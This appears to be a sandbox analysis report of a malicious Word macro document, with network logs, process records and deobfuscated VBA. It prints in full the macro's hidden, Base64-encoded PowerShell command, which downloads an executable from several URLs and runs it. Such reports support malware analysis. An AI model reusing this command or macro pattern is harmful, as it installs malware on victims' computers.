Feb 7, 2023 18:14:15.303457975 CET	8.8.8.8	192.168.2.22	0x299d	No error (0)	701602.parkingcrew.net		76.223.26.96	A (IP address)	IN (0x0001)	false
Feb 7, 2023 18:14:15.555291891 CET	8.8.8.8	192.168.2.22	0x8deb	No error (0)	dev2.ektonendon.gr		162.212.129.161	A (IP address)	IN (0x0001)	false
Feb 7, 2023 18:14:15.843313932 CET	8.8.8.8	192.168.2.22	0xdcc8	Name error (3)	diagnostica-products.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

7arasport.com

ww38.7arasport.com

dev2.ektonendon.gr

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49173	103.224.212.222	80	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 18:14:14.895281076 CET	1	OUT	GET /validatefield/gj/ HTTP/1.1 Host: 7arasport.com Connection: Keep-Alive
Feb 7, 2023 18:14:15.119752884 CET	1	IN	HTTP/1.1 302 Found date: Tue, 07 Feb 2023 17:14:15 GMT server: Apache/2.4.38 (Debian) set-cookie: __tad=1675790055.6325264; expires=Fri, 04-Feb-2033 17:14:15 GMT; Max-Age=315360000 location: http://ww38.7arasport.com/validatefield/gj/ content-length: 0 content-type: text/html; charset=UTF-8 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49174	13.248.148.254	80	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 18:14:15.324487925 CET	2	OUT	GET /validatefield/gj/ HTTP/1.1 Host: ww38.7arasport.com Connection: Keep-Alive
Feb 7, 2023 18:14:15.466506958 CET	2	IN	HTTP/1.1 403 Forbidden Date: Tue, 07 Feb 2023 17:14:15 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Server: nginx Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Feb 7, 2023 18:14:15.672749996 CET	3	IN	HTTP/1.1 403 Forbidden Date: Tue, 07 Feb 2023 17:14:15 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Server: nginx Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49175	162.212.129.161	80	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 18:14:15.686811924 CET	3	OUT	GET /cgi-bin/mTTCFmVe/ HTTP/1.1 Host: dev2.ektonendon.gr Connection: Keep-Alive
Feb 7, 2023 18:14:15.816334009 CET	4	IN	HTTP/1.1 404 Not Found Date: Tue, 07 Feb 2023 17:14:15 GMT Server: Apache Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Length: 315 Keep-Alive: timeout=3, max=500 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Target ID:	0
Start time:	18:13:18
Start date:	07/02/2023
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13f060000
File size:	1423704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	5
Start time:	18:13:25
Start date:	07/02/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	Powershell -w hidden -en JABOAHAAegBmAHIAbgB6AGIAcgB0AGkAdQBtAD0AJwBWAGYAZgB1AHcAeQBoAHkAaQBnAGkAeQBxACcAOwAkAEUAcwB4AHQAeQBkAGoAcABrACAAPQAgACcAOAA3ADMAJwA7ACQAWQBsAG4AagBxAHMAcwBjAG0AcABtAD0AJwBXAHkAbABxAGEAaQBkAGsAcQBhACcAOwAkAEkAbQB4AGYAcgB4AHQAYQBwAG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAcwB4AHQAeQBkAGoAcABrACsAJwAuAGUAeABlACcAOwAkAFIAcgB5AGkAcABqAGYAaABkAD0AJwBZAHQAaQBkAG4AYwBpAGcAbABlACcAOwAkAFUAdwB1AGQAcgBtAG8AZwBqAGwAbwBzAG0APQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQBUAC4AVwBFAEIAYwBMAEkAZQBOAFQAOwAkAEcAcABjAGsAeQBzAGMAeQBhAGUAbgBkAHoAPQAnAGgAdAB0AHAAOgAvAC8AYQBtAHMAdABhAGYAZgByAGUAYwBvAHIAZABzAC4AYwBvAG0ALwBpAG4AZABpAHYAaQBkAHUAYQBsAEEAcABpAC8AMAAvACoAaAB0AHQAcAA6AC8ALwBmAG8AbwB6AG8AbwBwAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AUQB4AGkANwBpAFYARAAvACoAaAB0AHQAcAA6AC8ALwA3AGEAcgBhAHMAcABvAHIAdAAuAGMAbwBtAC8AdgBhAGwAaQBkAGEAdABlAGYAaQBlAGwAZAAvAGcAagAvACoAaAB0AHQAcAA6AC8ALwBkAGUAdgAyAC4AZQBrAHQAbwBuAGUAbgBkAG8AbgAuAGcAcgAvAGMAZwBpAC0AYgBpAG4ALwBtAFQAVABDAEYAbQBWAGUALwAqAGgAdAB0AHAAcwA6AC8ALwBkAGkAYQBnAG4AbwBzAHQAaQBjAGEALQBwAHIAbwBkAHUAYwB0AHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGgAaQBvADIAdQA3AHcALwAnAC4AIgBzAGAAUABMAGkAdAAiACgAJwAqACcAKQA7ACQASQB4AGkAcQBvAGcAZgBpAGsAbQA9ACcAQgB0AHQAeABnAGgAdgBpAG4AbwBtAHcAcwAnADsAZgBvAHIAZQBhAGMAaAAoACQATQBiAGMAbgB6AGcAcwBwAGEAdAAgAGkAbgAgACQARwBwAGMAawB5AHMAYwB5AGEAZQBuAGQAegApAHsAdAByAHkAewAkAFUAdwB1AGQAcgBtAG8AZwBqAGwAbwBzAG0ALgAiAEQATwBXAGAATgBMAE8AYABBAEQAYABGAEkAbABFACIAKAAkAE0AYgBjAG4AegBnAHMAcABhAHQALAAgACQASQBtAHgAZgByAHgAdABhAHAAbwApADsAJABIAGgAdABvAGIAZgBmAHAAbABnAHMAPQAnAFgAYQB5AG0AcABpAGMAdQAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEkAbQB4AGYAcgB4AHQAYQBwAG8AKQAuACIAbABgAEUAbgBHAGAAVABIACIAIAAtAGcAZQAgADIANwAxADYAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYABBAFIAdAAiACgAJABJAG0AeABmAHIAeAB0AGEAcABvACkAOwAkAEUAaQBkAHkAdABrAGwAeQA9ACcAWQBiAHEAeABjAHUAdgBkAGkAcQBuACcAOwBiAHIAZQBhAGsAOwAkAEwAbQBxAGEAaABqAGMAdwB5AHcAdABrAD0AJwBHAHcAYQB1AHUAaABsAHoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwBuAG8AZwBxAGIAdQBtAG8APQAnAEwAZABrAGUAbwBnAHMAYQBmAHgAbgBqACcA
Imagebase:	0x13f5e0000
File size:	473600 bytes
MD5 hash:	852D67A27E454BD389FA7F02A8CBE23F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

VBA Code

Call Graph

Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: Bnzailenjg

Declaration

Line	Content
1	Attribute VB_Name = "Bnzailenjg"

Executed Functions

Function
HdzaptpnAPIs: 271, Strings: 3, Number of lines: 147, Relevance: 491.897

APIs	Meta Information
Vqxltzlfyer
Rbxxzopv
Kbocqqax
Mvcfrzrcrlvq
Vhiortlihxi
CSng
Hex
nVfie2Dr3
CDate
Uzpcb0lU
ilGM
CStr
Oct
ZOa
CByte
Hex
JDvXr
VGG
Join
Split
Lxijupngv
Ryveimmmv
Xxjbjqhffg
Zzbtbcdbs
Ghnqzntawrg
Kpoedcur
CSng
Hex
nVfie2Dr3
CDate
Uzpcb0lU
ilGM
CStr
Oct
ZOa
CByte
Hex
JDvXr
VGG
CreateObject	CreateObject("winmgmts:Win32_Process")
Ajczaaygkwufa
Inszulucmme
Hmsibgvmr
Vkwbmellgw
Glnccswqzm
CSng
Hex
nVfie2Dr3
CDate
Uzpcb0lU
ilGM
CStr
Oct
ZOa
CByte
Hex
JDvXr
VGG
Pddkwvoiewnl
Zbxjgpsnwceeh
Hbfgtpohxbw
Xjguphjkp
Uvuyihoq
Cojtgjldj
Vjacarahboimw
CSng
Hex
nVfie2Dr3
CDate
Uzpcb0lU
ilGM
CStr
Oct
ZOa
CByte
Hex
JDvXr
VGG
Lxijupngv
Fjiomrhsyhgu
Scbroslxl
Yusygxmkyuh
Hooylswyaurfn
Rpyrocnt
CSng
Hex
nVfie2Dr3
CDate
Uzpcb0lU
ilGM
CStr
Oct
ZOa
CByte
Hex
JDvXr
VGG
CreateObject	CreateObject("winmgmts:Win32_ProcessstartuP")
Aemktmeeol
Lpcndbwq
Nepratgixljvm
Kxhncxylbdjko
Fjicnlbpth
CSng
Hex
nVfie2Dr3
CDate
Uzpcb0lU
ilGM
CStr
Oct
ZOa
CByte
Hex
JDvXr
VGG
Xuqqxxoacjodj
Qlecsulsn
Etdcybyv
Klkgcvnqtxs
Ahpomxzuftn
CSng
Hex
nVfie2Dr3
CDate
Uzpcb0lU
ilGM
CStr
Oct
ZOa
CByte
Hex
JDvXr
VGG
Qewobgzoo
Wfjtyflbi
Taivvybkn
Jsfypbkkllys
Ecgntsbzq
CSng
Hex
nVfie2Dr3
CDate
Uzpcb0lU
ilGM
CStr
Oct
ZOa
CByte
Hex
JDvXr
VGG
Create	SWbemObjectEx.Create("Powershell -w hidden -en JABOAHAAegBmAHIAbgB6AGIAcgB0AGkAdQBtAD0AJwBWAGYAZgB1AHcAeQBoAHkAaQBnAGkAeQBxACcAOwAkAEUAcwB4AHQAeQBkAGoAcABrACAAPQAgACcAOAA3ADMAJwA7ACQAWQBsAG4AagBxAHMAcwBjAG0AcABtAD0AJwBXAHkAbABxAGEAaQBkAGsAcQBhACcAOwAkAEkAbQB4AGYAcgB4AHQAYQBwAG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAcwB4AHQAeQBkAGoAcABrACsAJwAuAGUAeABlACcAOwAkAFIAcgB5AGkAcABqAGYAaABkAD0AJwBZAHQAaQBkAG4AYwBpAGcAbABlACcAOwAkAFUAdwB1AGQAcgBtAG8AZwBqAGwAbwBzAG0APQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQBUAC4AVwBFAEIAYwBMAEkAZQBOAFQAOwAkAEcAcABjAGsAeQBzAGMAeQBhAGUAbgBkAHoAPQAnAGgAdAB0AHAAOgAvAC8AYQBtAHMAdABhAGYAZgByAGUAYwBvAHIAZABzAC4AYwBvAG0ALwBpAG4AZABpAHYAaQBkAHUAYQBsAEEAcABpAC8AMAAvACoAaAB0AHQAcAA6AC8ALwBmAG8AbwB6AG8AbwBwAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AUQB4AGkANwBpAFYARAAvACoAaAB0AHQAcAA6AC8ALwA3AGEAcgBhAHMAcABvAHIAdAAuAGMAbwBtAC8AdgBhAGwAaQBkAGEAdABlAGYAaQBlAGwAZAAvAGcAagAvACoAaAB0AHQAcAA6AC8ALwBkAGUAdgAyAC4AZQBrAHQAbwBuAGUAbgBkAG8AbgAuAGcAcgAvAGMAZwBpAC0AYgBpAG4ALwBtAFQAVABDAEYAbQBWAGUALwAqAGgAdAB0AHAAcwA6AC8ALwBkAGkAYQBnAG4AbwBzAHQAaQBjAGEALQBwAHIAbwBkAHUAYwB0AHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGgAaQBvADIAdQA3AHcALwAnAC4AIgBzAGAAUABMAGkAdAAiACgAJwAqACcAKQA7ACQASQB4AGkAcQBvAGcAZgBpAGsAbQA9ACcAQgB0AHQAeABnAGgAdgBpAG4AbwBtAHcAcwAnADsAZgBvAHIAZQBhAGMAaAAoACQATQBiAGMAbgB6AGcAcwBwAGEAdAAgAGkAbgAgACQARwBwAGMAawB5AHMAYwB5AGEAZQBuAGQAegApAHsAdAByAHkAewAkAFUAdwB1AGQAcgBtAG8AZwBqAGwAbwBzAG0ALgAiAEQATwBXAGAATgBMAE8AYABBAEQAYABGAEkAbABFACIAKAAkAE0AYgBjAG4AegBnAHMAcABhAHQALAAgACQASQBtAHgAZgByAHgAdABhAHAAbwApADsAJABIAGgAdABvAGIAZgBmAHAAbABnAHMAPQAnAFgAYQB5AG0AcABpAGMAdQAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEkAbQB4AGYAcgB4AHQAYQBwAG8AKQAuACIAbABgAEUAbgBHAGAAVABIACIAIAAtAGcAZQAgADIANwAxADYAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYABBAFIAdAAiACgAJABJAG0AeABmAHIAeAB0AGEAcABvACkAOwAkAEUAaQBkAHkAdABrAGwAeQA9ACcAWQBiAHEAeABjAHUAdgBkAGkAcQBuACcAOwBiAHIAZQBhAGsAOwAkAEwAbQBxAGEAaABqAGMAdwB5AHcAdABrAD0AJwBHAHcAYQB1AHUAaABsAHoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwBuAG8AZwBxAGIAdQBtAG8APQAnAEwAZABrAGUAbwBnAHMAYQBmAHgAbgBqACcA",,,) -> 0
PPPP
Part of subcall function Eigrhutqjn@Bnzailenjg: Dhlehfaylilou
Part of subcall function Eigrhutqjn@Bnzailenjg: Gpaasmxic
Part of subcall function Eigrhutqjn@Bnzailenjg: Kozvbiuqn
Part of subcall function Eigrhutqjn@Bnzailenjg: Rjpwogvjgyf
Part of subcall function Eigrhutqjn@Bnzailenjg: Wkpolajz
Part of subcall function Eigrhutqjn@Bnzailenjg: CSng
Part of subcall function Eigrhutqjn@Bnzailenjg: Hex
Part of subcall function Eigrhutqjn@Bnzailenjg: nVfie2Dr3
Part of subcall function Eigrhutqjn@Bnzailenjg: CDate
Part of subcall function Eigrhutqjn@Bnzailenjg: Uzpcb0lU
Part of subcall function Eigrhutqjn@Bnzailenjg: ilGM
Part of subcall function Eigrhutqjn@Bnzailenjg: CStr
Part of subcall function Eigrhutqjn@Bnzailenjg: Oct
Part of subcall function Eigrhutqjn@Bnzailenjg: ZOa
Part of subcall function Eigrhutqjn@Bnzailenjg: CByte
Part of subcall function Eigrhutqjn@Bnzailenjg: Hex
Part of subcall function Eigrhutqjn@Bnzailenjg: JDvXr
Part of subcall function Eigrhutqjn@Bnzailenjg: VGG
Part of subcall function Eigrhutqjn@Bnzailenjg: Lxijupngv
Part of subcall function Eigrhutqjn@Bnzailenjg: Msyfxuxaniqvn
Part of subcall function Eigrhutqjn@Bnzailenjg: Wqklqchum
Part of subcall function Eigrhutqjn@Bnzailenjg: Hwiimxav
Part of subcall function Eigrhutqjn@Bnzailenjg: Tdwhvtqvmouid
Part of subcall function Eigrhutqjn@Bnzailenjg: Zioivbrwpejv
Part of subcall function Eigrhutqjn@Bnzailenjg: CSng
Part of subcall function Eigrhutqjn@Bnzailenjg: Hex
Part of subcall function Eigrhutqjn@Bnzailenjg: nVfie2Dr3
Part of subcall function Eigrhutqjn@Bnzailenjg: CDate
Part of subcall function Eigrhutqjn@Bnzailenjg: Uzpcb0lU
Part of subcall function Eigrhutqjn@Bnzailenjg: ilGM
Part of subcall function Eigrhutqjn@Bnzailenjg: CStr
Part of subcall function Eigrhutqjn@Bnzailenjg: Oct
Part of subcall function Eigrhutqjn@Bnzailenjg: ZOa
Part of subcall function Eigrhutqjn@Bnzailenjg: CByte
Part of subcall function Eigrhutqjn@Bnzailenjg: Hex
Part of subcall function Eigrhutqjn@Bnzailenjg: JDvXr
Part of subcall function Eigrhutqjn@Bnzailenjg: VGG
Part of subcall function Eigrhutqjn@Bnzailenjg: Cejfehsiqdp
Part of subcall function Eigrhutqjn@Bnzailenjg: Miwnattqddm
Part of subcall function Eigrhutqjn@Bnzailenjg: Sauuakhgbazqj
Part of subcall function Eigrhutqjn@Bnzailenjg: Tkdcprhcwsa
Part of subcall function Eigrhutqjn@Bnzailenjg: Ryqmmoarox
Part of subcall function Eigrhutqjn@Bnzailenjg: Kknutyafyvyc
Part of subcall function Eigrhutqjn@Bnzailenjg: Zzupryuygtqh
Part of subcall function Eigrhutqjn@Bnzailenjg: Uxpvksgq
Part of subcall function Eigrhutqjn@Bnzailenjg: CSng
Part of subcall function Eigrhutqjn@Bnzailenjg: Hex
Part of subcall function Eigrhutqjn@Bnzailenjg: nVfie2Dr3
Part of subcall function Eigrhutqjn@Bnzailenjg: CDate
Part of subcall function Eigrhutqjn@Bnzailenjg: Uzpcb0lU
Part of subcall function Eigrhutqjn@Bnzailenjg: ilGM
Part of subcall function Eigrhutqjn@Bnzailenjg: CStr
Part of subcall function Eigrhutqjn@Bnzailenjg: Oct
Part of subcall function Eigrhutqjn@Bnzailenjg: ZOa
Part of subcall function Eigrhutqjn@Bnzailenjg: CByte
Part of subcall function Eigrhutqjn@Bnzailenjg: Hex
Part of subcall function Eigrhutqjn@Bnzailenjg: JDvXr
Part of subcall function Eigrhutqjn@Bnzailenjg: VGG
Part of subcall function Eigrhutqjn@Bnzailenjg: Evrezirnfj
Part of subcall function Eigrhutqjn@Bnzailenjg: Gpxjleht
Part of subcall function Eigrhutqjn@Bnzailenjg: Sbehhsuenjruc
Part of subcall function Eigrhutqjn@Bnzailenjg: Ddgoaukryszhy
Part of subcall function Eigrhutqjn@Bnzailenjg: Jafszgztgeik
Part of subcall function Eigrhutqjn@Bnzailenjg: Kfsgjuei
Part of subcall function Eigrhutqjn@Bnzailenjg: Fspopblg
Part of subcall function Eigrhutqjn@Bnzailenjg: CSng
Part of subcall function Eigrhutqjn@Bnzailenjg: Hex
Part of subcall function Eigrhutqjn@Bnzailenjg: nVfie2Dr3
Part of subcall function Eigrhutqjn@Bnzailenjg: CDate
Part of subcall function Eigrhutqjn@Bnzailenjg: Uzpcb0lU
Part of subcall function Eigrhutqjn@Bnzailenjg: ilGM
Part of subcall function Eigrhutqjn@Bnzailenjg: CStr
Part of subcall function Eigrhutqjn@Bnzailenjg: Oct
Part of subcall function Eigrhutqjn@Bnzailenjg: ZOa
Part of subcall function Eigrhutqjn@Bnzailenjg: CByte
Part of subcall function Eigrhutqjn@Bnzailenjg: Hex
Part of subcall function Eigrhutqjn@Bnzailenjg: JDvXr
Part of subcall function Eigrhutqjn@Bnzailenjg: VGG
Part of subcall function Eigrhutqjn@Bnzailenjg: Pytrclosnl
Part of subcall function Eigrhutqjn@Bnzailenjg: Smvqxcaznnl
Part of subcall function Eigrhutqjn@Bnzailenjg: Tgtivukim
Part of subcall function Eigrhutqjn@Bnzailenjg: Gtxooyrb
Part of subcall function Eigrhutqjn@Bnzailenjg: Pitydelv
Part of subcall function Eigrhutqjn@Bnzailenjg: Orlyfablxuel
Part of subcall function Eigrhutqjn@Bnzailenjg: CSng
Part of subcall function Eigrhutqjn@Bnzailenjg: Hex
Part of subcall function Eigrhutqjn@Bnzailenjg: nVfie2Dr3
Part of subcall function Eigrhutqjn@Bnzailenjg: CDate
Part of subcall function Eigrhutqjn@Bnzailenjg: Uzpcb0lU
Part of subcall function Eigrhutqjn@Bnzailenjg: ilGM
Part of subcall function Eigrhutqjn@Bnzailenjg: CStr
Part of subcall function Eigrhutqjn@Bnzailenjg: Oct
Part of subcall function Eigrhutqjn@Bnzailenjg: ZOa
Part of subcall function Eigrhutqjn@Bnzailenjg: CByte
Part of subcall function Eigrhutqjn@Bnzailenjg: Hex
Part of subcall function Eigrhutqjn@Bnzailenjg: JDvXr
Part of subcall function Eigrhutqjn@Bnzailenjg: VGG
Gugdxpmf
Jlgngwawaqxh
Qlunecws
Zhkildoic
Oqcazkifvxfd
Vkqrwhstgld
Wtjxtwaa
CSng
Hex
nVfie2Dr3
CDate
Uzpcb0lU
ilGM
CStr
Oct
ZOa
CByte
Hex
JDvXr
VGG

Strings	Decrypted Strings
"i3j3j3g4"
""""
"wii3j3j3g4nmi3j3j3g4gm""i3j3j3g4ts:i3j3j3g4Wini3j3j3g432i3j3j3g4_i3j3j3g4"

Line	Instruction	Meta Information
83	Function Hdzaptpn()
84	For Ihnamkffpgedm = Vqxltzlfyer To Rbxxzopv	Vqxltzlfyer Rbxxzopv executed
85	Ciohmown = Kbocqqax	Kbocqqax
86	Vvkfnoihexv = Mvcfrzrcrlvq	Mvcfrzrcrlvq
87	Next	Vqxltzlfyer Rbxxzopv
88	Select Case Vhiortlihxi	Vhiortlihxi
89	Case 726
90	kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))	CSng Hex nVfie2Dr3
91	DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))	CDate Uzpcb0lU ilGM
92	cCy = 98693360
93	Case 7172
94	Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))	CStr Oct ZOa CByte Hex JDvXr
95	svo = 6
96	Yqm = VGG	VGG
97	Case 423356465
98	End Select	Vhiortlihxi
99	XXXXX = "i3j3j3g4"
100	Puwmfwvgsh = Join(Split("wii3j3j3g4nmi3j3j3g4gm" + "i3j3j3g4ts:i3j3j3g4Wini3j3j3g432i3j3j3g4_i3j3j3g4", XXXXX), "") + Vidpgeil.Lxijupngv + "rocess"	Join Split Lxijupngv
101	For Ycjskzqwc = Ryveimmmv To Xxjbjqhffg	Ryveimmmv Xxjbjqhffg
102	Oxuvmzclmf = Zzbtbcdbs	Zzbtbcdbs
103	Mjjpzowxz = Ghnqzntawrg	Ghnqzntawrg
104	Next	Ryveimmmv Xxjbjqhffg
105	Select Case Kpoedcur	Kpoedcur
106	Case 726
107	kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))	CSng Hex nVfie2Dr3
108	DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))	CDate Uzpcb0lU ilGM
109	cCy = 98693360
110	Case 7172
111	Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))	CStr Oct ZOa CByte Hex JDvXr
112	svo = 6
113	Yqm = VGG	VGG
114	Case 423356465
115	End Select	Kpoedcur
116	Set Xrzyfwhkn = VBA.CreateObject(Puwmfwvgsh)	CreateObject("winmgmts:Win32_Process") executed
117	For Mcqsrnqrzul = Ajczaaygkwufa To Inszulucmme	Ajczaaygkwufa Inszulucmme
118	Fxsjutkw = Hmsibgvmr	Hmsibgvmr
119	Ilclvkgg = Vkwbmellgw	Vkwbmellgw
120	Next	Ajczaaygkwufa Inszulucmme
121	Select Case Glnccswqzm	Glnccswqzm
122	Case 726
123	kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))	CSng Hex nVfie2Dr3
124	DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))	CDate Uzpcb0lU ilGM
125	cCy = 98693360
126	Case 7172
127	Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))	CStr Oct ZOa CByte Hex JDvXr
128	svo = 6
129	Yqm = VGG	VGG
130	Case 423356465
131	End Select	Glnccswqzm
132	Zirkxcgp = Puwmfwvgsh + Fbkxcpydi.Pddkwvoiewnl.ControlTipText + Fbkxcpydi.Zbxjgpsnwceeh.ControlTipText	Pddkwvoiewnl Zbxjgpsnwceeh
133	For Rgtsrnnljp = Hbfgtpohxbw To Xjguphjkp	Hbfgtpohxbw Xjguphjkp
134	Eohmsoiqmt = Uvuyihoq	Uvuyihoq
135	Ntdgrthldstub = Cojtgjldj	Cojtgjldj
136	Next	Hbfgtpohxbw Xjguphjkp
137	Select Case Vjacarahboimw	Vjacarahboimw
138	Case 726
139	kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))	CSng Hex nVfie2Dr3
140	DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))	CDate Uzpcb0lU ilGM
141	cCy = 98693360
142	Case 7172
143	Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))	CStr Oct ZOa CByte Hex JDvXr
144	svo = 6
145	Yqm = VGG	VGG
146	Case 423356465
147	End Select	Vjacarahboimw
148	Ofckqrhdzf = Zirkxcgp + Vidpgeil.Lxijupngv	Lxijupngv
149	For Rgmsgrrxiwa = Fjiomrhsyhgu To Scbroslxl	Fjiomrhsyhgu Scbroslxl
150	Ezwmviygfigje = Yusygxmkyuh	Yusygxmkyuh
151	Mhhxqqirkg = Hooylswyaurfn	Hooylswyaurfn
152	Next	Fjiomrhsyhgu Scbroslxl
153	Select Case Rpyrocnt	Rpyrocnt
154	Case 726
155	kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))	CSng Hex nVfie2Dr3
156	DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))	CDate Uzpcb0lU ilGM
157	cCy = 98693360
158	Case 7172
159	Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))	CStr Oct ZOa CByte Hex JDvXr
160	svo = 6
161	Yqm = VGG	VGG
162	Case 423356465
163	End Select	Rpyrocnt
164	Set Hdzaptpn = CreateObject(Ofckqrhdzf)	CreateObject("winmgmts:Win32_ProcessstartuP") executed
165	For Mwtyxzazjbs = Aemktmeeol To Lpcndbwq	Aemktmeeol Lpcndbwq
166	Buawsazrbl = Nepratgixljvm	Nepratgixljvm
